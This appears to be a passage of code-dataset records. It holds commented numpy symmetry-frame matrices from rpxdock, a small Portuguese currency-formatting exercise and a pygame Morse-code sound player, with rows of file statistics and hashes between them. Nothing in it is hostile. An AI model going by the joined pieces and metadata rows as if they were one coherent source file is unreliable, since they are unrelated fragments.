# (-1.000000, -0.000000, -0.000000, +0.000000),
# (-0.000000, +1.000000, -0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.000000, +0.000000, +1.000000, +0.000000),
# (-1.000000, +0.000000, -0.000000, +0.000000),
# (-0.000000, -1.000000, +0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-1.000000, -0.000000, -0.000000, +0.000000),
# (-0.000000, +1.000000, +0.000000, +0.000000),
# (+0.000000, +0.000000, -1.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-1.000000, +0.000000, -0.000000, +0.000000),
# (-0.000000, -1.000000, +0.000000, +0.000000),
# (-0.000000, +0.000000, +1.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# ]
# )
#
# octahedral_frames = np.array(
# [
# (
# (+1.000000, +0.000000, -0.000000, +0.000000),
# (+0.000000, +1.000000, +0.000000, +0.000000),
# (+0.000000, -0.000000, +1.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, +1.000000, +0.000000, +0.000000),
# (+1.000000, +0.000000, -0.000000, +0.000000),
# (-0.000000, +0.000000, -1.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, -0.000000, +1.000000, +0.000000),
# (+1.000000, +0.000000, -0.000000, +0.000000),
# (-0.000000, +1.000000, +0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+1.000000, +0.000000, -0.000000, +0.000000),
# (+0.000000, -0.000000, +1.000000, +0.000000),
# (+0.000000, -1.000000, -0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.000000, +0.000000, -1.000000, +0.000000),
# (+0.000000, +1.000000, +0.000000, +0.000000),
# (+1.000000, -0.000000, -0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.000000, +1.000000, +0.000000, +0.000000),
# (+0.000000, -0.000000, +1.000000, +0.000000),
# (+1.000000, +0.000000, -0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, +1.000000, +0.000000, +0.000000),
# (-0.000000, +0.000000, -1.000000, +0.000000),
# (-1.000000, +0.000000, +0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, -0.000000, +1.000000, +0.000000),
# (-0.000000, +1.000000, +0.000000, +0.000000),
# (-1.000000, -0.000000, +0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, -1.000000, -0.000000, +0.000000),
# (+1.000000, +0.000000, +0.000000, +0.000000),
# (+0.000000, -0.000000, +1.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+1.000000, -0.000000, -0.000000, +0.000000),
# (-0.000000, +0.000000, -1.000000, +0.000000),
# (+0.000000, +1.000000, +0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+1.000000, +0.000000, +0.000000, +0.000000),
# (+0.000000, -1.000000, -0.000000, +0.000000),
# (-0.000000, +0.000000, -1.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.000000, +0.000000, -1.000000, +0.000000),
# (+1.000000, -0.000000, -0.000000, +0.000000),
# (-0.000000, -1.000000, -0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-1.000000, +0.000000, +0.000000, +0.000000),
# (+0.000000, +1.000000, -0.000000, +0.000000),
# (-0.000000, +0.000000, -1.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-1.000000, -0.000000, +0.000000, +0.000000),
# (+0.000000, +0.000000, +1.000000, +0.000000),
# (-0.000000, +1.000000, +0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, -0.000000, +1.000000, +0.000000),
# (+0.000000, -1.000000, -0.000000, +0.000000),
# (+1.000000, +0.000000, +0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, +1.000000, -0.000000, +0.000000),
# (-1.000000, +0.000000, +0.000000, +0.000000),
# (+0.000000, -0.000000, +1.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, +0.000000, +1.000000, +0.000000),
# (-1.000000, -0.000000, +0.000000, +0.000000),
# (+0.000000, -1.000000, -0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, -1.000000, -0.000000, +0.000000),
# (-0.000000, -0.000000, +1.000000, +0.000000),
# (-1.000000, -0.000000, -0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.000000, -1.000000, -0.000000, +0.000000),
# (-0.000000, +0.000000, -1.000000, +0.000000),
# (+1.000000, -0.000000, -0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.000000, +0.000000, -1.000000, +0.000000),
# (-1.000000, +0.000000, +0.000000, +0.000000),
# (+0.000000, +1.000000, -0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, +0.000000, -1.000000, +0.000000),
# (-0.000000, -1.000000, -0.000000, +0.000000),
# (-1.000000, +0.000000, +0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-1.000000, +0.000000, +0.000000, +0.000000),
# (-0.000000, +0.000000, -1.000000, +0.000000),
# (-0.000000, -1.000000, +0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-1.000000, -0.000000, -0.000000, +0.000000),
# (+0.000000, -1.000000, -0.000000, +0.000000),
# (-0.000000, -0.000000, +1.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, -1.000000, -0.000000, +0.000000),
# (-1.000000, -0.000000, -0.000000, +0.000000),
# (+0.000000, +0.000000, -1.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# ]
# )
#
# icosahedral_frames = np.array(
# [
# (
# (+1.000000, +0.000000, +0.000000, +0.000000),
# (+0.000000, +1.000000, +0.000000, +0.000000),
# (+0.000000, -0.000000, +1.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.809017, +0.309017, +0.500000, +0.000000),
# (+0.309017, +0.500000, -0.809017, +0.000000),
# (-0.500000, +0.809017, +0.309017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+1.000000, +0.000000, +0.000000, +0.000000),
# (+0.000000, -1.000000, -0.000000, +0.000000),
# (+0.000000, +0.000000, -1.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.809017, +0.309017, +0.500000, +0.000000),
# (-0.309017, -0.500000, +0.809017, +0.000000),
# (+0.500000, -0.809017, -0.309017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.809017, +0.309017, -0.500000, +0.000000),
# (+0.309017, +0.500000, +0.809017, +0.000000),
# (+0.500000, -0.809017, +0.309017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.809017, +0.309017, -0.500000, +0.000000),
# (-0.309017, -0.500000, -0.809017, +0.000000),
# (-0.500000, +0.809017, -0.309017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.809017, -0.309017, +0.500000, +0.000000),
# (+0.309017, -0.500000, -0.809017, +0.000000),
# (+0.500000, +0.809017, -0.309017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.809017, -0.309017, +0.500000, +0.000000),
# (-0.309017, +0.500000, +0.809017, +0.000000),
# (-0.500000, -0.809017, +0.309017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.809017, -0.309017, -0.500000, +0.000000),
# (+0.309017, -0.500000, +0.809017, +0.000000),
# (-0.500000, -0.809017, -0.309017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.809017, -0.309017, -0.500000, +0.000000),
# (-0.309017, +0.500000, -0.809017, +0.000000),
# (+0.500000, +0.809017, +0.309017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.500000, +0.809017, +0.309017, +0.000000),
# (+0.809017, -0.309017, -0.500000, +0.000000),
# (-0.309017, +0.500000, -0.809017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.500000, +0.809017, +0.309017, +0.000000),
# (-0.809017, +0.309017, +0.500000, +0.000000),
# (+0.309017, -0.500000, +0.809017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.500000, +0.809017, -0.309017, +0.000000),
# (+0.809017, -0.309017, +0.500000, +0.000000),
# (+0.309017, -0.500000, -0.809017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.500000, +0.809017, -0.309017, +0.000000),
# (-0.809017, +0.309017, -0.500000, +0.000000),
# (-0.309017, +0.500000, +0.809017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.500000, -0.809017, +0.309017, +0.000000),
# (+0.809017, +0.309017, -0.500000, +0.000000),
# (+0.309017, +0.500000, +0.809017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.500000, -0.809017, +0.309017, +0.000000),
# (-0.809017, -0.309017, +0.500000, +0.000000),
# (-0.309017, -0.500000, -0.809017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.500000, -0.809017, -0.309017, +0.000000),
# (+0.809017, +0.309017, +0.500000, +0.000000),
# (-0.309017, -0.500000, +0.809017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.500000, -0.809017, -0.309017, +0.000000),
# (-0.809017, -0.309017, -0.500000, +0.000000),
# (+0.309017, +0.500000, -0.809017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.309017, +0.500000, +0.809017, +0.000000),
# (+0.500000, -0.809017, +0.309017, +0.000000),
# (+0.809017, +0.309017, -0.500000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.309017, +0.500000, +0.809017, +0.000000),
# (-0.500000, +0.809017, -0.309017, +0.000000),
# (-0.809017, -0.309017, +0.500000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.309017, +0.500000, -0.809017, +0.000000),
# (+0.500000, -0.809017, -0.309017, +0.000000),
# (-0.809017, -0.309017, -0.500000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.309017, +0.500000, -0.809017, +0.000000),
# (-0.500000, +0.809017, +0.309017, +0.000000),
# (+0.809017, +0.309017, +0.500000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.309017, -0.500000, +0.809017, +0.000000),
# (+0.500000, +0.809017, +0.309017, +0.000000),
# (-0.809017, +0.309017, +0.500000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.309017, -0.500000, +0.809017, +0.000000),
# (-0.500000, -0.809017, -0.309017, +0.000000),
# (+0.809017, -0.309017, -0.500000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.309017, -0.500000, -0.809017, +0.000000),
# (+0.500000, +0.809017, -0.309017, +0.000000),
# (+0.809017, -0.309017, +0.500000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.309017, -0.500000, -0.809017, +0.000000),
# (-0.500000, -0.809017, +0.309017, +0.000000),
# (-0.809017, +0.309017, -0.500000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, +1.000000, +0.000000, +0.000000),
# (+0.000000, -0.000000, +1.000000, +0.000000),
# (+1.000000, -0.000000, -0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, +1.000000, +0.000000, +0.000000),
# (-0.000000, +0.000000, -1.000000, +0.000000),
# (-1.000000, +0.000000, +0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, +0.000000, +1.000000, +0.000000),
# (+1.000000, -0.000000, -0.000000, +0.000000),
# (+0.000000, +1.000000, -0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, +0.000000, +1.000000, +0.000000),
# (-1.000000, +0.000000, +0.000000, +0.000000),
# (-0.000000, -1.000000, +0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, -1.000000, +0.000000, +0.000000),
# (+0.000000, +0.000000, +1.000000, +0.000000),
# (-1.000000, -0.000000, +0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, -1.000000, +0.000000, +0.000000),
# (-0.000000, -0.000000, -1.000000, +0.000000),
# (+1.000000, +0.000000, -0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, -0.000000, -1.000000, +0.000000),
# (+1.000000, +0.000000, +0.000000, +0.000000),
# (+0.000000, -1.000000, +0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, -0.000000, -1.000000, +0.000000),
# (-1.000000, -0.000000, -0.000000, +0.000000),
# (-0.000000, +1.000000, -0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-1.000000, -0.000000, +0.000000, +0.000000),
# (+0.000000, -1.000000, -0.000000, +0.000000),
# (+0.000000, +0.000000, +1.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-1.000000, -0.000000, +0.000000, +0.000000),
# (-0.000000, +1.000000, +0.000000, +0.000000),
# (-0.000000, -0.000000, -1.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.809017, +0.309017, +0.500000, +0.000000),
# (+0.309017, -0.500000, +0.809017, +0.000000),
# (+0.500000, +0.809017, +0.309017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.809017, +0.309017, +0.500000, +0.000000),
# (-0.309017, +0.500000, -0.809017, +0.000000),
# (-0.500000, -0.809017, -0.309017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.809017, +0.309017, -0.500000, +0.000000),
# (+0.309017, -0.500000, -0.809017, +0.000000),
# (-0.500000, -0.809017, +0.309017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.809017, +0.309017, -0.500000, +0.000000),
# (-0.309017, +0.500000, +0.809017, +0.000000),
# (+0.500000, +0.809017, -0.309017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.809017, -0.309017, +0.500000, +0.000000),
# (+0.309017, +0.500000, +0.809017, +0.000000),
# (-0.500000, +0.809017, -0.309017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.809017, -0.309017, +0.500000, +0.000000),
# (-0.309017, -0.500000, -0.809017, +0.000000),
# (+0.500000, -0.809017, +0.309017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.809017, -0.309017, -0.500000, +0.000000),
# (+0.309017, +0.500000, -0.809017, +0.000000),
# (+0.500000, -0.809017, -0.309017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.809017, -0.309017, -0.500000, +0.000000),
# (-0.309017, -0.500000, +0.809017, +0.000000),
# (-0.500000, +0.809017, +0.309017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.500000, +0.809017, +0.309017, +0.000000),
# (+0.809017, +0.309017, +0.500000, +0.000000),
# (+0.309017, +0.500000, -0.809017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.500000, +0.809017, +0.309017, +0.000000),
# (-0.809017, -0.309017, -0.500000, +0.000000),
# (-0.309017, -0.500000, +0.809017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.500000, +0.809017, -0.309017, +0.000000),
# (+0.809017, +0.309017, -0.500000, +0.000000),
# (-0.309017, -0.500000, -0.809017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.500000, +0.809017, -0.309017, +0.000000),
# (-0.809017, -0.309017, +0.500000, +0.000000),
# (+0.309017, +0.500000, +0.809017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.500000, -0.809017, +0.309017, +0.000000),
# (+0.809017, -0.309017, +0.500000, +0.000000),
# (-0.309017, +0.500000, +0.809017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.500000, -0.809017, +0.309017, +0.000000),
# (-0.809017, +0.309017, -0.500000, +0.000000),
# (+0.309017, -0.500000, -0.809017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.500000, -0.809017, -0.309017, +0.000000),
# (+0.809017, -0.309017, -0.500000, +0.000000),
# (+0.309017, -0.500000, +0.809017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.500000, -0.809017, -0.309017, +0.000000),
# (-0.809017, +0.309017, +0.500000, +0.000000),
# (-0.309017, +0.500000, -0.809017, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.309017, +0.500000, +0.809017, +0.000000),
# (+0.500000, +0.809017, -0.309017, +0.000000),
# (-0.809017, +0.309017, -0.500000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.309017, +0.500000, +0.809017, +0.000000),
# (-0.500000, -0.809017, +0.309017, +0.000000),
# (+0.809017, -0.309017, +0.500000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.309017, +0.500000, -0.809017, +0.000000),
# (+0.500000, +0.809017, +0.309017, +0.000000),
# (+0.809017, -0.309017, -0.500000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.309017, +0.500000, -0.809017, +0.000000),
# (-0.500000, -0.809017, -0.309017, +0.000000),
# (-0.809017, +0.309017, +0.500000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.309017, -0.500000, +0.809017, +0.000000),
# (+0.500000, -0.809017, -0.309017, +0.000000),
# (+0.809017, +0.309017, +0.500000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.309017, -0.500000, +0.809017, +0.000000),
# (-0.500000, +0.809017, +0.309017, +0.000000),
# (-0.809017, -0.309017, -0.500000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.309017, -0.500000, -0.809017, +0.000000),
# (+0.500000, -0.809017, +0.309017, +0.000000),
# (-0.809017, -0.309017, +0.500000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.309017, -0.500000, -0.809017, +0.000000),
# (-0.500000, +0.809017, -0.309017, +0.000000),
# (+0.809017, +0.309017, -0.500000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# ]
# )
#
# tetrahedral_frames.dump("rpxdock/data/tetrahedral_frames.pickle")
# octahedral_frames.dump("rpxdock/data/octahedral_frames.pickle")
# icosahedral_frames.dump("rpxdock/data/icosahedral_frames.pickle")
| 33.790941
| 106
| 0.555888
| 4,608
| 29,094
| 3.490885
| 0.041233
| 0.376849
| 0.581872
| 0.473455
| 0.88288
| 0.858262
| 0.849621
| 0.84098
| 0.84098
| 0.836006
| 0
| 0.492201
| 0.162645
| 29,094
| 860
| 107
| 33.830233
| 0.16809
| 0.64436
| 0
| 0.439331
| 0
| 0
| 0.027293
| 0.007901
| 0
| 0
| 0
| 0
| 0.012552
| 1
| 0.004184
| false
| 0
| 0.008368
| 0
| 0.083682
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
8282b83df0c17417201b61be737e8d497ed82d5a
| 440
|
py
|
Python
|
Mundo 3/ex108/test1.py
|
RafaelSdm/Curso-de-Python
|
ae933ba80ee00ad5160bd5d05cf4b21007943fd4
|
[
"MIT"
] | 1
|
2021-03-10T21:53:38.000Z
|
2021-03-10T21:53:38.000Z
|
Mundo 3/ex108/test1.py
|
RafaelSdm/Curso-de-Python
|
ae933ba80ee00ad5160bd5d05cf4b21007943fd4
|
[
"MIT"
] | null | null | null |
Mundo 3/ex108/test1.py
|
RafaelSdm/Curso-de-Python
|
ae933ba80ee00ad5160bd5d05cf4b21007943fd4
|
[
"MIT"
] | null | null | null |
from ex108 import moeda
dinheiro = float(input("informe o dinheiro"))
print(f"o dobro de {moeda.moeda(dinheiro)} é {moeda.moeda(moeda.dobro(dinheiro))}")
print(f"a metade de {moeda.moeda(dinheiro)} é {moeda.moeda(moeda.metade(dinheiro))}")
print(f"aumentando 10% de {moeda.moeda(dinheiro)} temos R${moeda.moeda(moeda.porcentagem(dinheiro))}")
print(f"reduzindo 13% de {moeda.moeda(dinheiro)} temos {moeda.moeda(moeda.reduzindo(dinheiro))}")
| 73.333333
| 102
| 0.75
| 67
| 440
| 4.925373
| 0.343284
| 0.363636
| 0.169697
| 0.242424
| 0.369697
| 0.218182
| 0.218182
| 0.218182
| 0
| 0
| 0
| 0.017157
| 0.072727
| 440
| 6
| 103
| 73.333333
| 0.791667
| 0
| 0
| 0
| 0
| 0.666667
| 0.782313
| 0.564626
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.166667
| 0
| 0.166667
| 0.666667
| 0
| 0
| 0
| null | 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
828d1edce4abbeca344d5fb42a374ed288536f74
| 6,499
|
py
|
Python
|
Morse_Machine/datafile.py
|
SRscarM/My-Pygame-Projects
|
eb3b0a35597a74ac629c1cb8bb570bcfa6577cc0
|
[
"Apache-2.0"
] | null | null | null |
Morse_Machine/datafile.py
|
SRscarM/My-Pygame-Projects
|
eb3b0a35597a74ac629c1cb8bb570bcfa6577cc0
|
[
"Apache-2.0"
] | null | null | null |
Morse_Machine/datafile.py
|
SRscarM/My-Pygame-Projects
|
eb3b0a35597a74ac629c1cb8bb570bcfa6577cc0
|
[
"Apache-2.0"
] | null | null | null |
'''
this is the data file and contains all the data required for the actual program to run,
do not delete please :3
'''
#importing modules
import pygame
from pygame import mixer
import time
pygame.init()
mixer.init()
#variables
images = {}
sounds = {}
sec = 1.2
keyPressed = False
#game sounds
sounds['dot'] = mixer.Sound("Sounds/dot.WAV")
sounds['dash'] = mixer.Sound("Sounds/dash.WAV")
#functions alphabets
def a():
sounds['dot'].play()
time.sleep(sec)
sounds['dash'].play()
def b():
sounds['dash'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
def c():
sounds['dash'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dot'].play()
def d():
sounds['dash'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
def e():
sounds['dot'].play()
def f():
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dot'].play()
def g():
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dot'].play()
def h():
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
def i():
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
def j():
sounds['dot'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
def k():
sounds['dash'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dash'].play()
def l():
sounds['dot'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
def m():
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
def n():
sounds['dash'].play()
time.sleep(sec)
sounds['dot'].play()
def o():
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
def p():
sounds['dot'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dot'].play()
def q():
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dash'].play()
def r():
sounds['dot'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dot'].play()
def s():
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
def t():
sounds['dot'].play()
def u():
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dash'].play()
def v():
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dash'].play()
def w():
sounds['dot'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
def x():
sounds['dash'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dash'].play()
def y():
sounds['dash'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
def z():
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
#numerical veriables
def one():
sounds['dot'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
def two():
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
def three():
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
def four():
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dash'].play()
def five():
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
def six():
sounds['dash'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
def seven():
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
def eight():
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dot'].play()
time.sleep(sec)
sounds['dot'].play()
def nine():
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dot'].play()
def zero():
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
time.sleep(sec)
sounds['dash'].play()
| 19.4
| 88
| 0.526389
| 820
| 6,499
| 4.171951
| 0.10122
| 0.224496
| 0.364806
| 0.448992
| 0.876937
| 0.876937
| 0.876937
| 0.876937
| 0.876937
| 0.876937
| 0
| 0.000626
| 0.262502
| 6,499
| 334
| 89
| 19.458084
| 0.713123
| 0.028774
| 0
| 0.829091
| 0
| 0
| 0.0829
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.130909
| false
| 0
| 0.010909
| 0
| 0.141818
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
